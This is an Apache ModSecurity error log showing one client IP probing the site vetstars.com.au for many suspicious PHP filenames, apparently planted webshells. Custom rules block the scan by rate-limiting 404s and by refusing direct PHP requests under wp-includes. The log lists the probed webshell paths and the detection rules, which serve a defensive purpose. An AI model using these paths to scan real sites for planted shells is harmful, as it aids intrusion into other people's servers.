[Fri Apr 24 17:03:59.282044 2026] [:error] [pid 17720:tid 17777] [client 51.103.42.147:30185] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aesx_-hlUs6BS3Ng7_U83QAAANc"]
[Fri Apr 24 17:04:01.567680 2026] [:error] [pid 17808:tid 17818] [client 51.103.42.147:50336] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aesyAearbOEFI8qshvLhowAAAEg"]
[Fri Apr 24 17:04:02.414053 2026] [:error] [pid 17808:tid 17827] [client 51.103.42.147:50359] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lov.php"] [unique_id "aesyAuarbOEFI8qshvLhqAAAAFE"]
[Fri Apr 24 17:04:03.276572 2026] [:error] [pid 17719:tid 17729] [client 51.103.42.147:51490] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lov.php"] [unique_id "aesyA8TZ9gzEyL1BkPp63AAAAII"]
[Fri Apr 24 17:04:03.999059 2026] [:error] [pid 17808:tid 17811] [client 51.103.42.147:48462] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lov.php"] [unique_id "aesyA-arbOEFI8qshvLhrQAAAEE"]
[Fri Apr 24 17:04:07.515877 2026] [:error] [pid 17720:tid 17764] [client 51.103.42.147:52076] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lov.php"] [unique_id "aesyB-hlUs6BS3Ng7_U86AAAAMo"]
[Fri Apr 24 17:04:09.849975 2026] [:error] [pid 14531:tid 14534] [client 51.103.42.147:62342] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/knw.php"] [unique_id "aesyCXfLU2gw-6KR-GaGeAAAAUE"]
[Fri Apr 24 17:04:10.760801 2026] [:error] [pid 14531:tid 14545] [client 51.103.42.147:56810] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/knw.php"] [unique_id "aesyCnfLU2gw-6KR-GaGewAAAUw"]
[Fri Apr 24 17:04:12.300084 2026] [:error] [pid 22114:tid 22125] [client 51.103.42.147:51492] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/knw.php"] [unique_id "aesyDIAuWGz3WlMQjofFmAAAAQg"]
[Fri Apr 24 17:04:13.912179 2026] [:error] [pid 17721:tid 17797] [client 51.103.42.147:34288] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/knw.php"] [unique_id "aesyDeFXXkLeyDnfk_8EnwAAABA"]
[Fri Apr 24 17:04:15.533991 2026] [:error] [pid 17719:tid 17729] [client 51.103.42.147:30083] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aesyD8TZ9gzEyL1BkPp65gAAAII"]
[Fri Apr 24 17:04:16.909228 2026] [:error] [pid 17720:tid 17764] [client 51.103.42.147:51513] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aesyEOhlUs6BS3Ng7_U89wAAAMo"]
[Fri Apr 24 17:04:19.344593 2026] [:error] [pid 17720:tid 17778] [client 51.103.42.147:51458] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aesyE-hlUs6BS3Ng7_U9AgAAANg"]
[Fri Apr 24 17:04:20.289442 2026] [:error] [pid 17808:tid 17818] [client 51.103.42.147:52068] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fi.php"] [unique_id "aesyFOarbOEFI8qshvLhuwAAAEg"]
[Fri Apr 24 17:04:22.840642 2026] [:error] [pid 17808:tid 17819] [client 51.103.42.147:29653] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aesyFuarbOEFI8qshvLhxwAAAEk"]
[Fri Apr 24 17:04:24.838476 2026] [:error] [pid 17808:tid 17834] [client 51.103.42.147:57366] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aesyGOarbOEFI8qshvLh0QAAAFg"]
[Fri Apr 24 17:04:27.279685 2026] [:error] [pid 17719:tid 17731] [client 51.103.42.147:30646] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aesyG8TZ9gzEyL1BkPp66QAAAIQ"]
[Fri Apr 24 17:04:28.680800 2026] [:error] [pid 17808:tid 17832] [client 51.103.42.147:30190] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aesyHOarbOEFI8qshvLh2gAAAFY"]
[Fri Apr 24 17:04:29.948364 2026] [:error] [pid 17808:tid 17830] [client 51.103.42.147:31025] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "aesyHearbOEFI8qshvLh3wAAAFQ"]
[Fri Apr 24 17:04:31.257470 2026] [:error] [pid 14531:tid 14543] [client 51.103.42.147:62354] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "aesyH3fLU2gw-6KR-GaGjgAAAUo"]
[Fri Apr 24 17:04:32.272799 2026] [:error] [pid 17808:tid 17813] [client 51.103.42.147:57374] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "aesyIOarbOEFI8qshvLh5AAAAEM"]
[Fri Apr 24 17:04:33.016614 2026] [:error] [pid 17719:tid 17737] [client 51.103.42.147:48507] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-k7djufwez2.php"] [unique_id "aesyIcTZ9gzEyL1BkPp67AAAAIo"]
[Fri Apr 24 17:04:34.095020 2026] [:error] [pid 17721:tid 17805] [client 51.103.42.147:31034] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tiroto.php"] [unique_id "aesyIuFXXkLeyDnfk_8EqAAAABg"]
[Fri Apr 24 17:04:35.408028 2026] [:error] [pid 17808:tid 17813] [client 51.103.42.147:57352] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tiroto.php"] [unique_id "aesyI-arbOEFI8qshvLh6AAAAEM"]
[Fri Apr 24 17:04:37.681569 2026] [:error] [pid 17720:tid 17762] [client 51.103.42.147:65313] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tiroto.php"] [unique_id "aesyJehlUs6BS3Ng7_U9EAAAAMg"]
[Fri Apr 24 17:04:39.372770 2026] [:error] [pid 17721:tid 17798] [client 51.103.42.147:29632] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-tiroto.php"] [unique_id "aesyJ-FXXkLeyDnfk_8ErQAAABE"]
[Fri Apr 24 17:04:40.459143 2026] [:error] [pid 17720:tid 17761] [client 51.103.42.147:34290] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son.php"] [unique_id "aesyKOhlUs6BS3Ng7_U9EQAAAMc"]
[Fri Apr 24 17:04:42.095088 2026] [:error] [pid 17808:tid 17818] [client 51.103.42.147:48500] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son.php"] [unique_id "aesyKuarbOEFI8qshvLh8AAAAEg"]
[Fri Apr 24 17:04:43.004454 2026] [:error] [pid 17720:tid 17760] [client 51.103.42.147:50350] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son.php"] [unique_id "aesyK-hlUs6BS3Ng7_U9FwAAAMY"]
[Fri Apr 24 17:04:43.657157 2026] [:error] [pid 17720:tid 17756] [client 51.103.42.147:50356] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/son.php"] [unique_id "aesyK-hlUs6BS3Ng7_U9GwAAAMI"]
[Fri Apr 24 17:04:44.483670 2026] [:error] [pid 17719:tid 17751] [client 51.103.42.147:63201] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aesyLMTZ9gzEyL1BkPp6-AAAAJg"]
[Fri Apr 24 17:04:45.593483 2026] [:error] [pid 17720:tid 17762] [client 51.103.42.147:50345] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aesyLehlUs6BS3Ng7_U9IgAAAMg"]
[Fri Apr 24 17:04:46.365333 2026] [:error] [pid 17721:tid 17805] [client 51.103.42.147:34303] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aesyLuFXXkLeyDnfk_8EsAAAABg"]
[Fri Apr 24 17:04:47.186515 2026] [:error] [pid 17720:tid 17760] [client 51.103.42.147:50318] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dev.php"] [unique_id "aesyL-hlUs6BS3Ng7_U9JgAAAMY"]
[Fri Apr 24 17:04:48.289171 2026] [:error] [pid 17720:tid 17757] [client 51.103.42.147:50354] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/99.php"] [unique_id "aesyMOhlUs6BS3Ng7_U9KAAAAMM"]
[Fri Apr 24 17:04:49.583558 2026] [:error] [pid 17721:tid 17792] [client 51.103.42.147:65341] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/99.php"] [unique_id "aesyMeFXXkLeyDnfk_8EtAAAAAs"]
[Fri Apr 24 17:04:51.285629 2026] [:error] [pid 17719:tid 17737] [client 51.103.42.147:50343] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/99.php"] [unique_id "aesyM8TZ9gzEyL1BkPp6_gAAAIo"]
[Fri Apr 24 17:06:28.607371 2026] [:error] [pid 17719:tid 17739] [client 51.103.42.147:30994] [client 51.103.42.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/options.php"] [unique_id "aesylMTZ9gzEyL1BkPp7MQAAAIw"]
[Fri Apr 24 17:07:12.450399 2026] [:error] [pid 22114:tid 22124] [client 51.103.42.147:48495] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws37.php"] [unique_id "aesywIAuWGz3WlMQjofF_gAAAQc"]
[Fri Apr 24 17:07:13.395208 2026] [:error] [pid 14531:tid 14542] [client 51.103.42.147:52089] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws37.php"] [unique_id "aesywXfLU2gw-6KR-GaHeAAAAUk"]
[Fri Apr 24 17:07:14.670642 2026] [:error] [pid 14531:tid 14533] [client 51.103.42.147:30093] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws37.php"] [unique_id "aesywnfLU2gw-6KR-GaHgAAAAUA"]
[Fri Apr 24 17:07:15.672287 2026] [:error] [pid 14531:tid 14554] [client 51.103.42.147:30134] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws37.php"] [unique_id "aesyw3fLU2gw-6KR-GaHhAAAAVU"]
[Fri Apr 24 17:07:16.789939 2026] [:error] [pid 17720:tid 17758] [client 51.103.42.147:51498] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "aesyxOhlUs6BS3Ng7_U-aQAAAMQ"]
[Fri Apr 24 17:07:19.116084 2026] [:error] [pid 22114:tid 22135] [client 51.103.42.147:29693] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "aesyx4AuWGz3WlMQjofGAAAAARI"]
[Fri Apr 24 17:07:19.788378 2026] [:error] [pid 22114:tid 22141] [client 51.103.42.147:30203] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "aesyx4AuWGz3WlMQjofGAQAAARg"]
[Fri Apr 24 17:07:21.663578 2026] [:error] [pid 14531:tid 14543] [client 51.103.42.147:51482] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sky.php"] [unique_id "aesyyXfLU2gw-6KR-GaHjgAAAUo"]
[Fri Apr 24 17:07:23.775529 2026] [:error] [pid 17719:tid 17736] [client 51.103.42.147:57344] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bojcdooq.php"] [unique_id "aesyy8TZ9gzEyL1BkPp7SQAAAIk"]
[Fri Apr 24 17:07:25.229878 2026] [:error] [pid 17720:tid 17764] [client 51.103.42.147:56783] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bojcdooq.php"] [unique_id "aesyzehlUs6BS3Ng7_U-hQAAAMo"]
[Fri Apr 24 17:07:26.085805 2026] [:error] [pid 14531:tid 14555] [client 51.103.42.147:62363] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bojcdooq.php"] [unique_id "aesyznfLU2gw-6KR-GaHkwAAAVY"]
[Fri Apr 24 17:07:26.767877 2026] [:error] [pid 17808:tid 17813] [client 51.103.42.147:31004] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bojcdooq.php"] [unique_id "aesyzuarbOEFI8qshvLjdwAAAEM"]
[Fri Apr 24 17:07:27.470295 2026] [:error] [pid 17719:tid 17737] [client 51.103.42.147:31015] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zdd.php"] [unique_id "aesyz8TZ9gzEyL1BkPp7SwAAAIo"]
[Fri Apr 24 17:07:28.768656 2026] [:error] [pid 17808:tid 17833] [client 51.103.42.147:51477] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zdd.php"] [unique_id "aesy0OarbOEFI8qshvLjewAAAFc"]
[Fri Apr 24 17:07:30.627885 2026] [:error] [pid 17808:tid 17832] [client 51.103.42.147:30168] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zdd.php"] [unique_id "aesy0uarbOEFI8qshvLjgAAAAFY"]
[Fri Apr 24 17:07:31.292532 2026] [:error] [pid 17720:tid 17769] [client 51.103.42.147:57403] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zdd.php"] [unique_id "aesy0-hlUs6BS3Ng7_U-lAAAAM8"]
[Fri Apr 24 17:07:31.925108 2026] [:error] [pid 17719:tid 17742] [client 51.103.42.147:56820] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "aesy08TZ9gzEyL1BkPp7UgAAAI8"]
[Fri Apr 24 17:07:32.964936 2026] [:error] [pid 17808:tid 17813] [client 51.103.42.147:65282] [client 51.103.42.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/133.php"] [unique_id "aesy1OarbOEFI8qshvLjhgAAAEM"]
